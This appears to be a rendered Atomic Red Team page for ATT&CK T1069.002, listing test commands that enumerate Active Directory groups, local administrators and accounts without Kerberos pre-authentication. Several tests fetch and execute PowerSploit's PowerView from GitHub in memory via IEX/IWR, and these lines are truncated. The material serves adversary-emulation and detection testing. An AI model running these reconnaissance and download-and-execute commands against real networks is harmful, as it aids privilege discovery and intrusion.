



489 lines (229 loc) · 12.6 KB

T1069.002 - Domain Groups

Description from ATT&CK

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

Commands such as `net group /domain` of the [Net](#) utility, `dscacheutil -q group` on macOS, and `ldapsearch` on Linux can list domain-level groups.

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Atomic Test #1 - Basic Permission Groups Discovery Windows (Domain)

Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

Supported Platforms: Windows

auto_generated_guid: dd66d77d-8998-48c0-8024-df263dc2ce5d

Attack Commands: Run with `command_prompt` !

```
net localgroup
net group /domain
net group "domain admins" /domain
net group "enterprise admins" /domain
```



Atomic Test #2 - Permission Groups Discovery PowerShell (Domain)

Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

Supported Platforms: Windows

auto_generated_guid: 6d5d8c96-3d2a-4da9-9d6d-9a9d341899a7

Inputs:

Name	Description	Type	Default Value
user	User to identify what groups a user is a member of	String	administrator

Attack Commands: Run with powershell !

```
get-ADPrincipalGroupMembership #{user} | select name
```

Atomic Test #3 - Elevated group enumeration using net group (Domain)

Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.

Supported Platforms: Windows

auto_generated_guid: 0afb5163-8181-432e-9405-4322710c0c37

Attack Commands: Run with command_prompt !

```
net group /domai "Domain Admins"  
net groups "Account Operators" /doma
```



Atomic Test #5 - Find local admins on all machines in domain (PowerView)



```
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a:
```

Atomic Test #6 - Find Local Admins via Group Policy (PowerView)

takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.

Supported Platforms: Windows

auto_generated_guid: 64fdb43b-5259-467a-b000-1b02c00e510a

Inputs:

Name	Description	Type	Default Value
computer_name	hostname of the computer to analyze	Path	\$env:COMPUTERNAME

Attack Commands: Run with powershell !

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a:
```

Atomic Test #7 - Enumerate Users Not Requiring Pre Auth (ASRepRoast)

When successful, accounts that do not require kerberos pre-auth will be returned

Supported Platforms: Windows

auto_generated_guid: 870ba71e-6858-4f6d-895c-bb6237f6121b

Attack Commands: Run with powershell !

```
get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $True}
```

Dependencies: Run with **powershell**!

Description: Computer must be domain joined.

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually.
```

Description: Requires the Active Directory module for powershell to be installed.

Check Prereq Commands:

```
if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
```

Atomic Test #8 - Adfind - Query Active Directory Groups

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups reference-

<http://www.joeware.net/freetools/tools/adfind/>, <https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html>

Supported Platforms: Windows

auto_generated_guid: 48ddc687-82af-40b7-8472-ff1e742e8274

Inputs:

Name	Description	Type	Default Value
adfind_path	Path to the AdFind executable	Path	PathToAtomicsFolder\T1087.002\src\AdFind.exe

Attack Commands: Run with `command_prompt` !

```
#{adfind_path} -f (objectcategory=group)
```

Dependencies: Run with `powershell` !

Description: AdFind.exe must exist on disk at specified location (#{adfind_path})

Check Prereq Commands:

```
if (Test-Path #{adfind_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/;
```

Atomic Test #9 - Enumerate Active Directory Groups with Get-AdGroup

The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference: <https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps>

Supported Platforms: Windows

auto_generated_guid: 3d1fcd2a-e51c-4cbe-8d84-9a843bad8dc8

Attack Commands: Run with powershell !

```
Get-AdGroup -Filter *
```



Atomic Test #10 - Enumerate Active Directory Groups with ADSISearcher

The following Atomic test will utilize ADSISearcher to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference:

<https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/>

Supported Platforms: Windows

auto_generated_guid: 9f4e344b-8434-41b3-85b1-d38f29d148d0

Attack Commands: Run with powershell !

```
([adsisearcher]"objectcategory=group").FindAll(); ([adsisearcher]"objectcategory=group").FindAll()
```



Atomic Test #11 - Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)

When successful, accounts that do not require kerberos pre-auth will be returned. Reference:

<https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html>

Supported Platforms: Windows

auto_generated_guid: 43fa81fb-34bb-4b5f-867b-03c7dbe0e3d8

Attack Commands: Run with **powershell** !

```
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol
```

Dependencies: Run with **powershell** !

Description: Computer must be domain joined.

Check Prereq Commands:

```
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host Joining this computer to a domain must be done manually.
```

Description: Requires the Active Directory module for powershell to be installed.

Check Prereq Commands:

```
if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
```

Atomic Test #12 - Get-DomainGroupMember with PowerView

Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed.

Supported Platforms: Windows

auto_generated_guid: 46352f40-f283-4fe5-b56d-d9a71750e145

Attack Commands: Run with **powershell** !

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12  
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Rec
```



Atomic Test #13 - Get-DomainGroup with PowerView

Utilizing PowerView, run Get-DomainGroup to identify the domain groups. Upon execution, Groups within the domain will be listed.

Supported Platforms: Windows

auto_generated_guid: 5a8a181c-2c8e-478d-a943-549305a01230

Attack Commands: Run with **powershell** !

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12  
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Rec
```

